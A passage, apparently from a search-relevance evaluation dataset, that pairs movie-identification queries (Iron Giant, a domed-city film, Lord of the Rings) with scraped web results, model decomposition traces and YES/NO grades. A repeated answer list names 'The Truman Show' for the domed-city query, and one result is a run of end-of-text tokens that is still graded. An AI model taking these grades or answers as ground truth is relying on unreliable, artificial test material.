                "text": "When I was a wee rodent there was a book in the school library called The Iron Man\u00a0that I read many times. It\u2019s a simple little fable, about a boy named Hogarth who befriends a giant robot of mysterious origin\u2026and then the robot saves the world from a colossal alien dragon the size of Australia.\n \nI can\u2019t honestly say I loved the book but it definitely stuck with me, as any novel featuring a continent sized extra-terrestrial dragon would and it\u2019s picked up a largish following in the years since it was first published in 1968. One of those fans was Pete Townshend, the lead singer of that famous band.\n   \u201cWho?\u201d \n   \u201cThat\u2019s them.\u201d \nTownshend adapted the story into a musical, the rights of which got picked up by Warner Bros, which had just swallowed Turner Feature Animation whole, along with most of its animators. One of those animators was a likely lad named Brad Bird, who has worked on some animation in his time and is generally understood to know what he\u2019s doing. Bird was put in charge of adapting Townshend\u2019s musical, which he did by making it\u2026not a musical. \u2018Kay. Regardless, when it was screened for test audiences the response was absolutely ecstatic. Unfortunately, Warner Bros had neglected to prepare any kind of marketing campaign for the movie because Quest for Camelot\u00a0had tanked so badly the year before. This had convinced the excecs that audiences weren\u2019t going to go see animated films that weren\u2019t made by Disney.\n \n\u00a0Goddamit Warners.\u00a0Quest for Camelot\u00a0didn\u2019t tank because audiences wouldn\u2019t take a punt on non-Disney animation. Quest for Camelot tanked because sometimes God pays attention. So of course, released into theatres with zero publicity The Iron Giant crashed harder than a giant alien death machine falling from the sky. In the years since, it has become one of the most critically beloved animated American films of the 1990s. Does it live up to the hype? Let\u2019s take a look.\nSo it\u2019s 1957 and off the coast of Maine, where 98% of all creepy shit happens, a fishing vessel is caught in a hurricane. The skip",
                "model_trace": "Query Decomposition:\n1. {Animated movie}: The document discusses an animated movie -> ([1], SATISFIED)\n2. {Features a young girl}: The document mentions a boy named Hogarth, not a young girl -> ([1], UNSATISFIED)\n3. {Befriends a giant robot}: The document states that a boy befriends a giant robot -> ([1], SATISFIED)\n4. {Has to stop an evil corporation from destroying her home city}: The document does not mention an evil corporation or the destruction of a home city -> ([1], UNSATISFIED)\n\nAssessment: The relevant subcomponents are {Animated movie} and {Befriends a giant robot}, which are satisfied. However, the key subcomponents {Features a young girl} and {Has to stop an evil corporation from destroying her home city} are unsatisfied. Therefore, the document does not fully match the query's specifics. NO."
            }
        ]
    },
    {
        "query": "What sci-fi movie depicts a future world where people live in a giant, domed city and a young man discovers that the outside world is actually habitable, leading him on a journey to uncover the truth?",
        "grid_pos": [
            1,
            7
        ],
        "grid_pos_str": "Search Query Format: Question, Search Result Type: Video/Movie/TV Show",
        "reasoning_trace": [
            "The answers to the queries are:\n1. \"Big Hero 6\"\n2. \"Life Below Zero\"\n3. \"The Truman Show\" \n4. \"The Lord of the Rings\"\n5. \"Ammonite\""
        ],
        "results": [
            {
                "grade": "NO",
                "title": "Cities of the Future Film",
                "url": "https://citiesofthefuturefilm.com/#theaters",
                "published_date": "2024-02-16",
                "text": "Now playing in IMAX\u00ae and Giant Screen Theaters\n\nComing soon to IMAX\u00ae and Giant Screen Theaters\nFebruary 2024\n\nImagine stepping 50 years into the future and finding smart cities designed to be totally sustainable. Renewable energy is our primary power source, space-based solar power provides solar energy 24 hours a day, everything is recycled, and you travel in individualized pods that run on little or no energy. This isn\u2019t science fiction. Engineers are making plans for a sustainable world right now, and it\u2019s coming to the giant screen!\n\nCities of the Future is produced in association with American Society of Civil Engineers.\n\n\u201cThe world is full of magic things, patiently waiting for our senses to grow sharper.\u201d\n\n\u2014 Irish poet William Butler Yeats\n\nSkellig Michael \u00a9Failte Ireland/Courtesy of Valerie O\u2019Sullivan\n\nWe continue to add new exhibitors, so check back for updates.\n\nState City Venue Opening Date \n Alabama Birmingham McWane Science Center February 16, 2024 California Los Angeles California Science Center March 2, 2024 San Jose Tech Museum of Innovation March 30, 2024 Colorado Denver Denver Museum of Nature & Science March 14, 2024 Florida Ft Lauderdale Museum of Discovery and Science February 16, 2024 Georgia Atlanta Fernbank Museum TBD Illinois Peoria Riverfront Museum TBD Michigan Dearborn Henry Ford Museum February 16, 2024 New York Garden City Cradle of Aviation Museum February 17, 2024 North Carolina Charlotte Discovery Place TBD Ohio Cleveland Great Lakes Science Center February 19, 2024 Pennsylvania Pittsburgh Carnegie Science Center February 16, 2024 Texas Houston Houston Museum of Natural Science June 1, 2024 Virginia Hampton Virginia Air & Space Center February 16, 2024\n\nCities of the Future follows a team of middle schoolers participating in the annual Future Cities Competition, an international contest that challenges more than 60,000 students to engineer their own future city. Regional competitions take place in January and the finals are held in Washington, D.C. during Engineers Week. Find out ",
                "model_trace": "Query Decomposition:\n1. {sci-fi movie}: The document is about a film, so this subcomponent is met -> ([1], SATISFIED)\n2. {depicts a future world where people live in a giant, domed city}: The document describes a film about future smart cities, but does not mention a domed city -> ([1], UNSATISFIED)\n3. {a young man discovers that the outside world is actually habitable, leading him on a journey to uncover the truth}: The document does not mention this plot detail -> ([0], UNSURE)\n\nAssessment: The relevant subcomponent is {depicts a future world where people live in a giant, domed city}. Since this subcomponent is UNSATISFIED, the document is not helpful for the user's query. NO."
            },
            {
                "grade": "NO",
                "title": "The Experimental City",
                "url": "http://www.mxcfilm.com/watch-now.html",
                "published_date": "2018-01-01",
                "text": "Main Movie\n 96 minutes, NTSC, Region-Free\n\nSpecial Feature60 additional minutes!\n Composed of additional archival materials too compelling to remain unused, this hour-long special feature explores additional facets of the MXC project \u00e2\u0080\u0093 an innovative educational program; the flexible megastructure at the heart of its urban design; heated arguments over the city\u00e2\u0080\u0099s experimental nature, and how it might be governed; and potential psychological effects of living under a mile-wide dome.\n\nCollege, K-12 and Libraries\n This DVD is intended for home viewing only. The Educational & Institutional DVD can be purchased here.",
                "model_trace": "Query Decomposition:\n1. {sci-fi movie}: The document is about a movie, but it's not clear if it's sci-fi -> ([2], UNSURE)\n2. {depicts a future world where people live in a giant, domed city}: The document mentions a city with a mile-wide dome, which fits this description -> ([1], SATISFIED)\n3. {a young man discovers that the outside world is actually habitable, leading him on a journey to uncover the truth}: The document does not mention a plot involving a young man discovering the outside world is habitable -> ([0], UNSURE)\n\nAssessment: The document satisfies the subcomponent about a domed city, but it does not provide clear information about the sci-fi genre or the specific plot involving a young man's discovery and journey. Therefore, it does not fully satisfy the query's intent. NO."
            },
            {
                "grade": "NO",
                "title": "Planet City | 2024 Tribeca Festival | Tribeca",
                "url": "https://www.tribecafilm.com/films/planet-city-2024",
                "published_date": "2024-01-01",
                "text": "World Premiere\nOfficial Selection - Immersive\n\nPlanet City is an internationally acclaimed multiformat research-based body of work by Liam Young that includes a short film, a VR experience, a book, and a physical exhibition. Planet City is based on the creation story of an imaginary future city of 10 billion people, the entire population of earth, where we have surrendered the remaining world to a global wilderness.\nThe LED Pulse adaptation of a chapter from the Planet City VR experience, first presented at Tribeca Festival 2022, revisits a multicultural festival from the original story of the city narrated by a young climate activist, one its first citizens. The experience is simultaneously an extraordinary tale of tomorrow and an urgent examination of the environmental questions facing us today.\n\nCast & Credits\n\nProject Creator\nLiam Young\n\nVFX Supervisor\nAlexey Marfin\n\nOriginal Score\nForest Swords\n\nLead Artists\nKayvan Boudai, Eilliot Ordower, James Clark\n\nKey Collaborator\nWell Played Studios\n\nDates: June 6 - 17\n Location: Mercer Labs - 21 Day Street, New York, NY 10007\nFor hours and tickets, click here",
                "model_trace": "Query Decomposition:\n1. {Sci-fi movie}: The document talks about a sci-fi project called \"Planet City\" -> ([1], SATISFIED)\n2. {Depicts a future world where people live in a giant, domed city}: The document describes an imaginary future city of 10 billion people, but does not specify if it is a domed city -> ([2], UNSURE)\n3. {A young man discovers that the outside world is actually habitable}: The document does not mention a young man discovering the outside world is habitable -> ([0], UNSURE)\n4. {Leads him on a journey to uncover the truth}: The document does not mention a journey to uncover the truth -> ([0], UNSURE)\n\nAssessment: The relevant subcomponents are {Sci-fi movie} and {Depicts a future world where people live in a giant, domed city}. Since the document does not clearly specify if the city is domed, the critical subcomponent is UNSURE. Therefore, the document is not helpful for the user's request. NO."
            },
            {
                "grade": "NO",
                "title": "Help me find this dystopian movie! - Ask MetaFilter",
                "url": "https://ask.metafilter.com/132857/Help-me-find-this-dystopian-movie",
                "published_date": null,
                "text": "Help me find this dystopian movie!\nSeptember 14, 2009 6:01 PM \u00a0     Subscribe  \n NameThisMovieFilter: Dystopian society of people living in a domed city,  who don't leave their homes and spend a great deal of their time in their dream machines.    \n -Before you suggest it, this is not logan's run\n-Made in the 80s/early 90s? \nSynopsis:\nHumanity is dying out because of lack of contact with one another and one girl decides to break the rules and escape the dome.  There are people living outside the dome, and romance ensues.   \nAt some point, she challenges a man inside the dome who is the controller of the dream machines- he may or may not be her father, and there is some question as to whether her entire escape was simply a dream. \n--- \nA friend of mine would like desperately to see this, and my googlefu is really failing me.  It sounds pretty interesting, so I'd like to try to see it myself, if the hivemind might oblige and provide a name.  Details may or may not be entirely correct, but I have no way of knowing, since I haven't seen it myself! \nThanks, hive! \n\t\n\t\n\t\n\t\n \n\t ||||I||||  We are rebuilding the site. || Trans & Nonbinary Members Survey || MeFi mod travelingthyme needs help\n      Ask MetaFilter\n      querying the hive mind\n      * Log In\n      * Sign Up\n      * MetaFilter\n      * AskMeFi\n      * FanFare\n      * Projects\n      * Music\n      * Jobs\n      * IRL\n      * MetaTalk\n      * More\n          + Best Of\n          + Podcast\n          + Chat\n          + Labs\n          + Mall\n      Search MetaFilter\u2026\n    Menu\n    * Home\n    * FAQ\n    * About\n    * Archives\n    * Tags\n    * Popular\n    * Random\n        Help me find this dystopian movie!\n        September 14, 2009 6:01 PM Subscribe\n          NameThisMovieFilter: Dystopian society of people living in a domed city, who don't leave their homes and spend a great deal of their time in their dream machines.\n            -Before you suggest it, this is not logan's run\n            -Made in the 80s/early 90s?\n            Synopsis:\n            Humanity is dying out b",
                "model_trace": "Query Decomposition:\n1. {sci-fi movie}: The document is about identifying a sci-fi movie -> ([1], SATISFIED)\n2. {depicts a future world where people live in a giant, domed city}: The document mentions a dystopian society living in a domed city -> ([1], SATISFIED)\n3. {a young man discovers that the outside world is actually habitable}: The document does not mention a young man discovering the outside world is habitable; it mentions a girl escaping the dome -> ([1], UNSATISFIED)\n4. {leading him on a journey to uncover the truth}: The document does not mention a journey to uncover the truth by a young man; it focuses on a girl challenging the dome's controller -> ([1], UNSATISFIED)\n\nAssessment: The relevant subcomponents are {sci-fi movie} and {depicts a future world where people live in a giant, domed city}. Since the document does not satisfy the subcomponents related to the young man's discovery and journey, it is not helpful for the user's specific query. NO."
            },
            {
                "grade": "YES",
                "title": "Movie about a civilization with limited life span and an integrated ...",
                "url": "https://scifi.stackexchange.com/questions/199541/movie-about-a-civilization-with-limited-life-span-and-an-integrated-light-indica",
                "published_date": null,
                "text": "I recall when I was young (about 30+ years ago) I saw on TV a movie about a civilization (possibly humans in the future) with limited life span (they died young) and if I recall correctly, an integrated red light indicator in their hands showing when they were about to die. When the light indicator turned on or turned off (I dont recall exactly) it meant they were about to die soon. \nDoes anyone have an idea which movie it could be?\n \n \n \n \n asked Nov 29, 2018 at 21:02\n \n \n    \n \n \n  PabloPablo 5,4512 gold badges31 silver badges68 bronze badges\n \n \n \n 10\n \n \n \n \n \n \n \n \nYou're describing Logan's Run.\n In the year 2274, the remnants of human civilization live in a sealed\n city contained beneath a cluster of geodesic domes, a utopia run by a\n computer that takes care of all aspects of their life, including\n reproduction. The citizens live a hedonistic life but in order to\n maintain the population levels everyone must undergo the rite of\n \"Carrousel\" when they reach the age of 30. There, they are vaporized\n and ostensibly \"renewed\". To track this, each person is implanted at\n birth with a \"life-clock\" crystal in the palm of their hand that\n changes color as they get older and begins blinking as they approach\n their \"Last Day\". Most residents accept this promise of rebirth, but\n those who do not and attempt to flee the city are known as \"Runners\".\n An elite team of policemen known as \"Sandmen\", outfitted in\n predominantly black uniforms and serving in an agency of the city\n called \"Deep Sleep\", are assigned to pursue and terminate Runners as\n they try to escape.\n \n \n  \n \n \n \n answered Nov 29, 2018 at 21:04\n \n \n    \n \n \n  ValorumValorum 646k158 gold badges4407 silver badges4632 bronze badges\n \n \n \n 10\n \n \n \n \n \n This is the 1976 film or 1977 TV series Logan's Run. The post-apocalyptic inhabitants of a domed city have crystal life clocks embedded in their palms. When they reach 30 years old (21 in the novel), the clock starts blinking and the must participate in a ritual called 'Carousel' to continue living. In actuali",
                "model_trace": "Query Decomposition:\n1. {sci-fi movie}: The document discusses a sci-fi movie, specifically \"Logan's Run\" -> ([1], SATISFIED)\n2. {depicts a future world where people live in a giant, domed city}: The document describes a future world where people live in a sealed city contained beneath geodesic domes -> ([1], SATISFIED)\n3. {a young man discovers that the outside world is actually habitable, leading him on a journey to uncover the truth}: The document mentions the concept of \"Runners\" who attempt to flee the city, but it does not explicitly mention a young man discovering the outside world is habitable and going on a journey -> ([2], UNSURE)\n\nAssessment: The document provides detailed information about \"Logan's Run,\" which matches the core elements of the query. Although it does not explicitly mention a young man discovering the outside world is habitable, the context of \"Runners\" implies a similar narrative. Therefore, the document is helpful for the user's query. YES."
            },
            {
                "grade": "NO",
                "title": "What was this movie about an isolated community that came out ...",
                "url": "https://scifi.stackexchange.com/questions/67973/what-was-this-movie-about-an-isolated-community-that-came-out-earlier-this-centu",
                "published_date": null,
                "text": "I am trying to identify a film that I saw a trailer for around 5 or more years ago. This century at least. The film was about a peaceful, low technology (maybe rural,) community isolated by a forest or perhaps a wall. I don't think any of the actors or anyone else associated with it were well known and I don't think the film was popular. I think it was American made but I'm not sure. It was similar to The Village, but I think the place was peaceful and without a threat from outside. It kind of had a similar conveyance of perspective as in the book Phoenix Without Ashes. I wanted to see the film but it dropped out of the theaters quickly. The recent film \"The Maze Runner\" reminded me of it. The film in question had at least one pair of young people, a man and a woman, who were protagonists. I think the young man said he was going to venture outside of the community into the unknown dangers, hence, the film's conflict. This missing knowledge has bothered me for a while. I'm sure you can relate.\n \n \n \n \n \n    \n \n \n \n asked Sep 18, 2014 at 23:22\n \n \n    \n \n \n \n \n 8\n \n \n \n \n \n \n \n I think I discovered the movie. I am not certain but I have a feeling that the \"Stardust\" trailer was the item in question. The first twenty-five seconds of the trailer seems to fit my memory. After that the trailer takes a turn that reveals a sizeable budget for the film. That could be the reason that I never saw it. It just looked like an over-effected movie with an uninteresting plot. It did have Robert De Niro and Michelle Pfeiffer in it though. Thanks for everyone's help. I will sleep a little better now. ;-) Tony\n \n \n answered Dec 19, 2015 at 3:22\n \n \n    \n \n \n  user57523user57523 511 silver badge1 bronze badge\n \n \n \n 5\n \n \n \n \n \n \nHow sure are you that the setting was low-tech and/or rural? I ask, because I know a couple that fit the question but that are somewhat high-tech and enclosed.\nThe first act of The Island takes place in a bunker, inhabited by people who believe the world has been devastated. A young couple escape from the bu",
                "model_trace": "Query Decomposition:\n1. {sci-fi movie}: The document discusses a sci-fi movie -> ([1], SATISFIED)\n2. {depicts a future world where people live in a giant, domed city}: The document does not mention a domed city but rather an isolated community, possibly rural -> ([1], UNSATISFIED)\n3. {a young man discovers that the outside world is actually habitable}: The document mentions a young man venturing outside the community into unknown dangers, which could imply discovering the outside world is habitable -> ([2], SATISFIED)\n4. {leading him on a journey to uncover the truth}: The document implies a journey to uncover the truth by venturing outside -> ([2], SATISFIED)\n\nAssessment: The document does not satisfy the key subcomponent about living in a giant, domed city, which is crucial to the query. NO."
            }
        ]
    },
    {
        "query": "What fantasy movie centers around a group of hobbits who must journey across Middle-earth to destroy an ancient and powerful ring before it falls into the wrong hands?",
        "grid_pos": [
            1,
            7
        ],
        "grid_pos_str": "Search Query Format: Question, Search Result Type: Video/Movie/TV Show",
        "reasoning_trace": [
            "The answers to the queries are:\n1. \"Big Hero 6\"\n2. \"Life Below Zero\"\n3. \"The Truman Show\" \n4. \"The Lord of the Rings\"\n5. \"Ammonite\""
        ],
        "results": [
            {
                "grade": "NO",
                "title": "The Hobbit: The Battle of the Five Armies \u2013 Official Movie Site",
                "url": "https://www.thehobbit.com/",
                "published_date": null,
                "text": "5%<|endoftext|> <|endoftext|> <|endoftext|> <|endoftext|> <|endoftext|> <|endoftext|> <|endoftext|> <|endoftext|> <|endoftext|> <|endoftext|> <|endoftext|> <|endoftext|> <|endoftext|> <|endoftext|> <|endoftext|> <|endoftext|> <|endoftext|> <|endoftext|> <|endoftext|> <|endoftext|> <|endoftext|> <|endoftext|> <|endoftext|> <|endoftext|> <|endoftext|> <|endoftext|> <|endoftext|> <|endoftext|> <|endoftext|> <|endoftext|> <|endoftext|> <|endoftext|> <|endoftext|> <|endoftext|> <|endoftext|> <|endoftext|> <|endoftext|> <|endoftext|> <|endoftext|> <|endoftext|> <|endoftext|> <|endoftext|> <|endoftext|> <|endoftext|> <|endoftext|> <|endoftext|> <|endoftext|> <|endoftext|> <|endoftext|> <|endoftext|> <|endoftext|> <|endoftext|> <|endoftext|> <|endoftext|> <|endoftext|> <|endoftext|> <|endoftext|> <|endoftext|> <|endoftext|> <|endoftext|> <|endoftext|> <|endoftext|> <|endoftext|> <|endoftext|> <|endoftext|> <|endoftext|> <|endoftext|> <|endoftext|> <|endoftext|> <|endoftext|> <|endoftext|> <|endoftext|> <|endoftext|> <|endoftext|> <|endoftext|> <|endoftext|> <|endoftext|> <|endoftext|> <|endoftext|> <|endoftext|> <|endoftext|> <|endoftext|> <|endoftext|> <|endoftext|> <|endoftext|> <|endoftext|> <|endoftext|> <|endoftext|> <|endoftext|> <|endoftext|> <|endoftext|> <|endoftext|> <|endoftext|> <|endoftext|> <|endoftext|> <|endoftext|> <|endoftext|> <|endoftext|> <|endoftext|> <|endoftext|> <|endoftext|> <|endoftext|> <|endoftext|> <|endoftext|> <|endoftext|> <|endoftext|> <|endoftext|> <|endoftext|> <|endoftext|> <|endoftext|> <|endoftext|> <|endoftext|> <|endoftext|> <|endoftext|> <|endoftext|> <|endoftext|> <|endoftext|> <|endoftext|> <|endoftext|> <|endoftext|> <|endoftext|> <|endoftext|> <|endoftext|> <|endoftext|> <|endoftext|> <|endoftext|> <|endoftext|> <|endoftext|> <|endoftext|> <|endoftext|> <|endoftext|> <|endoftext|> <|endoftext|> <|endoftext|> <|endoftext|> <|endoftext|> <|endoftext|> <|endoftext|> <|endoftext|> <|endoftext|> <|endoftext|> <|endoftext|> <|endoftext|> <|endoftext|> <|endoftext|> <|endoftext|> <|",
                "model_trace": "Query Decomposition:\n1. [fantasy movie]: The document is about a fantasy movie -> ([1], SATISFIED)\n2. [centers around a group of hobbits]: The document is about \"The Hobbit: The Battle of the Five Armies,\" which involves hobbits but is not centered around a group of hobbits on a journey -> ([1], UNSATISFIED)\n3. [journey across Middle-earth]: The document is about a movie set in Middle-earth -> ([1], SATISFIED)\n4. [to destroy an ancient and powerful ring]: The document does not mention a journey to destroy a ring -> ([1], UNSATISFIED)\n5. [before it falls into the wrong hands]: The document does not mention preventing a ring from falling into the wrong hands -> ([1], UNSATISFIED)\n\nAssessment: The relevant subcomponents are {fantasy movie}, {centers around a group of hobbits}, {journey across Middle-earth}, {to destroy an ancient and powerful ring}, and {before it falls into the wrong hands}. Since only {fantasy movie} and {journey across Middle-earth} are satisfied, the document is not helpful for the user's request. NO."
            },
            {
                "grade": "NO",
                "title": "The Hobbit: The Battle of the Five Armies (2014) - IMDb",
                "url": "https://www.imdb.com/title/tt2310332/",
                "published_date": "2014-12-17",
                "text": "Cast & crew User reviews Trivia 20142014 PG-13PG-13 2h 24m Bilbo and company are forced to engage in a war against an array of combatants and keep the Lonely Mountain from falling into the hands of a rising darkness.Bilbo and company are forced to engage in a war against an array of combatants and keep the Lonely Mountain from falling into the hands of a rising darkness.Bilbo and company are forced to engage in a war against an array of combatants and keep the Lonely Mountain from falling into the hands of a rising darkness. See production, box office & company info 951User reviews 467Critic reviews 59Metascore See more at IMDbPro Videos48 More like this Review A fitting adieu to Middle Earth, but one that lacks that special something I should have loved this film. One of the aspects I love most about Return of the King, my favourite of Jackson's adaptations and one of my favourite films of all time, is the sprawling, mass fantasy battle scenes and The Battle of Five Armies is pretty much one elongated battle scene. However, there's something that's not quite right. It's not the lack of emotion, characterization or plot. Indeed, there are plenty of those, there is just something I just can't put my finger on that stops the film from being truly epic. Perhaps it is because, for me at least, this film will always live in King's shadow but, really, where I think the film falls down, is that the battles simply aren't done well enough. The context is not explained very well, the actual engagements not that exciting too much repetition and, most crucially, too much cutting away from one place to another. This cutting worked fine, well, even, in Two Towers between the crucible of Helm's Deep and the quiet conversation of the Entmoot, but, here, there are just too many places that the actions flits between. I appreciate this is a battle of five armies, and that there are plenty of characters, but, sadly, the action did seem to be all over the place. And the repetition I mentioned earlier: a huge portion of the film seeme",
                "model_trace": "Query Decomposition:\n1. {fantasy movie}: The document is about a fantasy movie -> ([1], SATISFIED)\n2. {centers around a group of hobbits}: The document mentions Bilbo and company, which includes hobbits -> ([1], SATISFIED)\n3. {journey across Middle-earth}: The document does not mention a journey across Middle-earth -> ([0], UNSURE)\n4. {to destroy an ancient and powerful ring}: The document does not mention destroying an ancient and powerful ring -> ([0], UNSURE)\n5. {before it falls into the wrong hands}: The document does not mention preventing the ring from falling into the wrong hands -> ([0], UNSURE)\n\nAssessment: The relevant subcomponents are {fantasy movie} and {centers around a group of hobbits}. Both of these are satisfied, but the document is about \"The Hobbit: The Battle of the Five Armies,\" which does not match the specific plot of destroying an ancient and powerful ring. Therefore, the document is not helpful for identifying the movie described in the query. NO."
            },
            {
                "grade": "NO",
                "title": "The Hobbit: An Unexpected Journey (2012) - IMDb",
                "url": "https://www.imdb.com/title/tt0903624/",
                "published_date": "2012-12-14",
                "text": "Videos12 More like this Review Not groundbreaking but still a great fantasy experience! I Remember the first time i watched this movie in the cinema and i did not like it as much i thought i would! Maybe it was because my hopes were very high after LOTR and while this movie gad elements from that, it didn't reach the same level in terms of story and visuals! Jacksons overuse of CGI sometimes pull me out of it, but its not as bad as the third movie, which almost gives me headaches! But over the time i have learned to like the movie and look past its flaws! Compared to the first season of Rings of Power this movie is deffinetely not bad, and does a better job of conveying a story with characters you care about! When it comes to the source material this movie doesn't drag as much as the others! The scenes with gollum are \"hands down\" the best part of the movie! Overall a great fantasy experience that still excists in the shadow of its predecacors but entertains none the less! andmikkelsen Oct 17, 2022 50+ Movies in the Billion-Dollar Film Club FAQ26 Contribute to this page Suggest an edit or add missing content By what name was The Hobbit: An Unexpected Journey (2012) officially released in Mexico? Answer",
                "model_trace": "Query Decomposition:\n1. {fantasy movie}: The document is about a fantasy movie -> ([1], SATISFIED)\n2. {centers around a group of hobbits}: The document is about \"The Hobbit: An Unexpected Journey,\" which involves hobbits but not a group journeying to destroy a ring -> ([1], UNSATISFIED)\n3. {journey across Middle-earth}: The document mentions a journey but not the specific journey across Middle-earth to destroy a ring -> ([1], UNSATISFIED)\n4. {destroy an ancient and powerful ring}: The document does not mention the destruction of a ring -> ([1], UNSATISFIED)\n5. {before it falls into the wrong hands}: The document does not mention preventing the ring from falling into the wrong hands -> ([1], UNSATISFIED)\n\nAssessment: The document fails to satisfy the key subcomponents about the journey to destroy an ancient and powerful ring. NO."
            },
            {
                "grade": "YES",
                "title": "The Lord of the Rings: The Fellowship of the Ring (2001)",
                "url": "https://www.imdb.com/title/tt0120737/",
                "published_date": null,
                "text": "Videos10      More like this     An ancient Ring thought lost for centuries has been found, and through a strange twist of fate has been given to a small Hobbit named Frodo. When Gandalf discovers the Ring is in fact the One Ring of the Dark Lord Sauron, Frodo must make an epic quest to the Cracks of Doom in order to destroy it. However, he does not go alone. He is joined by Gandalf, Legolas the elf, Gimli the Dwarf, Aragorn, Boromir, and his three Hobbit friends Merry, Pippin, and Samwise. Through mountains, snow, darkness, forests, rivers and plains, facing evil and danger at every corner the Fellowship of the Ring must go. Their quest to destroy the One Ring is the only hope for the end of the Dark Lords reign. \u2014Paul Twomey &lt;toomsp@hotmail.com&gt;     Plot summary   Plot synopsis      Review    An absolutely incredible film!  Simply incredible. Never before have I seen a 3 hour movie that didn't seem like 3 hours. I read the Lord of the Rings very recently and I was surprised at how similar Peter Jackson's vision was to my own. Now about the omissions and alterations. I'm not a crazed fanatic who gets worked up over every little detail. I didn't mind Arwen's inflation and I'm actually glad Tom Bombadil was scrubbed (I felt Tom Bombadil was an unnecessary addition to the book). Despite these minor changes, the screenplay stays extremely close to the book and flows very very well (and the prologue was a nice touch). The acting was flawless. As I've read many many times in other reviews, McKellen doesn't play Gandalf, he IS Gandalf. Wood, Mortensen, Holm, Astin, everyone was fantastic. My hat's off to Sean Bean who delivers an excellent performance as Boromir, a character who's intentions are good but wrestles with the corrupting power of the Ring. Bean portrays it VERY well. Oh, and Andy Serkis does a PERFECT Gollum voice. It's EXACTLY as I imagined it myself. The special effects were incredible, the cave troll, the balrog, Gollum, and Sauron's Eye all looked amazing. I was also very impressed by the seamless",
                "model_trace": "Query Decomposition:\n1. {fantasy movie}: The document is about a fantasy movie -> ([1], SATISFIED)\n2. {centers around a group of hobbits}: The document mentions a group of hobbits including Frodo, Merry, Pippin, and Samwise -> ([1], SATISFIED)\n3. {journey across Middle-earth}: The document describes the journey across various terrains in Middle-earth -> ([1], SATISFIED)\n4. {to destroy an ancient and powerful ring}: The document explicitly mentions the quest to destroy the One Ring -> ([1], SATISFIED)\n5. {before it falls into the wrong hands}: The document implies the urgency and danger associated with the One Ring -> ([2], SATISFIED)\n\nAssessment: All relevant subcomponents are satisfied by the document. YES"
            },
            {
                "grade": "YES",
                "title": "The Lord of the Rings (film series)",
                "url": "https://en.wikipedia.org/wiki/The_Lord_of_the_Rings_(film_series)",
                "published_date": null,
                "text": "This article is about the film series released between 2001 and 2003. For the book, see The Lord of the Rings. For other films based on the book, see Middle-earth in film.\n   The Lord of the Rings         Directed by  Peter Jackson    Screenplay by  \n  Fran Walsh \n Philippa Boyens \nPeter Jackson\n Stephen Sinclair  TT   \n    Based on   The Lord of the Rings  by J. R. R. Tolkien    Produced by  \n  Barrie M. Osborne \nPeter Jackson\nFran Walsh\n Tim Sanders  FOTR   \n    Starring  \n  Elijah Wood \n Ian McKellen \n Liv Tyler \n Viggo Mortensen \n Sean Astin \n Cate Blanchett \n John Rhys-Davies \n Christopher Lee \n Billy Boyd \n Dominic Monaghan \n Orlando Bloom \n Hugo Weaving \n Andy Serkis \n Sean Bean  \n    Cinematography  Andrew Lesnie    Edited by  \n  John Gilbert  FOTR  \n Michael Horton  TT  \n Jamie Selkirk  ROTK   \n    Music by  Howard Shore     Productioncompanies   \n  New Line Cinema \n WingNut Films  \n    Distributed by New Line Cinema    Release date  2001\u20132003    Running time   Total (3 films):  \n 558 minutes (theatrical)\n686 minutes (extended) \n    Countries  \n New Zealand\nUnited States \n    Language English   Budget  Total (3 films): $281\u00a0million   Box office  Total (3 films): $2.991\u00a0billion   \n  The Lord of the Rings  is a series of three epic fantasy adventure films directed by Peter Jackson, based on the novel  The Lord of the Rings  by J. R. R. Tolkien. The films are subtitled  The Fellowship of the Ring  (2001),  The Two Towers  (2002), and  The Return of the King  (2003). Produced and distributed by New Line Cinema with the co-production of WingNut Films, the series is an international venture between New Zealand and the United States. The films feature an ensemble cast including Elijah Wood, Ian McKellen, Liv Tyler, Viggo Mortensen, Sean Astin, Cate Blanchett, John Rhys-Davies, Christopher Lee, Billy Boyd, Dominic Monaghan, Orlando Bloom, Hugo Weaving, Andy Serkis and Sean Bean.\n Set in the fictional world of Middle-earth, the films follow the hobbit Frodo Baggins as he and the Fellowship embark on a quest to de",
                "model_trace": "Query Decomposition:\n1. {fantasy movie}: The document is about a fantasy movie series -> ([1], SATISFIED)\n2. {centers around a group of hobbits}: The document mentions hobbits, specifically Frodo Baggins, as central characters -> ([1], SATISFIED)\n3. {journey across Middle-earth}: The document states that the films are set in Middle-earth -> ([1], SATISFIED)\n4. {to destroy an ancient and powerful ring}: The document does not explicitly mention the destruction of a ring, but it is well-known that \"The Lord of the Rings\" centers around this plot -> ([2], SATISFIED)\n5. {before it falls into the wrong hands}: The document does not explicitly mention this, but it can be inferred from the context of the plot of \"The Lord of the Rings\" -> ([2], SATISFIED)\n\nAssessment: All relevant subcomponents are satisfied. YES."
            },
            {
                "grade": "YES",
                "title": "The Lord of the Rings: The Fellowship of the Ring",
                "url": "https://lotr.fandom.com/wiki/The_Lord_of_the_Rings:_The_Fellowship_of_the_Ring",
                "published_date": null,
                "text": "The Lord of the Rings: The Fellowship of the Ring  is a fantasy adventure film, directed by Peter Jackson. It is the first part of  The Lord of the Rings  trilogy of films, based on the best-selling novel by J.R.R. Tolkien. The film tells the story of young hobbit Frodo Baggins who, accompanied by eight companions, embarks on a journey to destroy the One Ring in the fires of Mount Doom.\n The screenplay was first started by Fran Walsh, Philippa Boyens, and Peter Jackson in 1997, and eventually it was reaching completion in tandem with its filming, on location in New Zealand. The film had a budget of about $180 million U.S. dollars, principal photography took 14 months, and post production continued long after that. It was also a great box office success, making over $871 million worldwide and was the fifth highest-grossing film of all time at the time of its release (behind Titanic, Harry Potter and the Philosopher's Stone, Star Wars: Episode I \u2013 The Phantom Menace and Jurassic Park). After the 2011 re-release of The Lion King and the 2012 re-release of Finding Nemo, it is currently the 68th highest-grossing film of all time. \n The film is the first Middle-earth film adaptation to be released, and the fourth in Middle-earth chronology.\nSynopsis\n Sauron, the Dark Lord, has awakened and threatens to conquer Middle-earth. To stop this ancient evil once and for all, Frodo Baggins must destroy the One Ring in the fires of Mount Doom. Men, Hobbits, a wizard, an Elf, and a Dwarf form a fellowship to help him on his quest.\n He travels from his home in the Shire with fellow hobbits Sam, Merry, and Pippin. They go to the town of Bree, where the group meets a shadowy figure known only as Strider. Pursued by Black Riders, they must get to Rivendell. Upon their arrival a council is convened, which decides the only course of action must be to take The Ring to Mordor and destroy it. Frodo is joined by his friends Sam, Merry, Pippin, Aragorn, and Gandalf; and newcomers Gimli, Legolas, and Boromir. They try to cross over the Misty",
